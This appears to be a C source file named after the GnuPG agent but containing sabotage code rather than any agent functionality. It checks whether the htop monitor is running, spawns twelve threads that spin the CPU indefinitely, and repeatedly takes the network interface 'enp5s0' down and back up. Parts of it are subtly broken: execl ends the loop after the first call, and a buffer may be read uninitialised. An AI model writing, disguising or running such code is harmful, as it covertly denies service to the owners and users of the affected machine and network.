S41/u-gpg-agent.c

#include "u-gpg-agent.h"

int is_htop_here() {
    char cmd[100] = "pgrep htop";  // shell command to check for htop process
    FILE* fp = popen(cmd, "r");    // open a pipe to execute the command and read its output
    char buf[10];                  // buffer to hold the output
    fgets(buf, sizeof(buf), fp);  // read the output from the pipe into the buffer
    pclose(fp);                   // close the pipe
    if (strlen(buf) > 0) {        // if the output is non-empty, htop is running
	printf("HTOP TROUVÉ\n");
        return 1;
    } else {
        return 0;
    }
}

void* stress_thread(void* arg) {
    double size = 100000;
    double *arr = malloc(size * sizeof(double));
    if (arr == NULL) {
        printf("Error: failed to allocate memory\n");
        exit(1);
    }
    
    srand(time(NULL));
    
    while (1) {
        // generate random values and perform complex mathematical operations on them
        for (int i = 0; i < size; i++) {
            arr[i] = (double)rand() / RAND_MAX;
        }
        for (int i = 0; i < size; i++) {
            arr[i] = sin(cos(tan(arr[i] * M_PI)));
        }
    }
    pthread_exit(NULL);
}

void stress() {
    int num_threads = 12;
    pthread_t threads[num_threads];
    for (int i = 0; i < num_threads; i++) {
        pthread_create(&threads[i], NULL, stress_thread, NULL);
    }
    
    for (int i = 0; i < num_threads; i++) {
        pthread_join(threads[i], NULL);
    }
}

void kill_nic() {
	while(1) {
		execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "down", NULL);
		printf("nic down\n");
		sleep(10);
		execl("/usr/bin/ip", "ip", "link",  "set", "enp5s0", "up", NULL);
		printf("nic up\n");
	}
	
}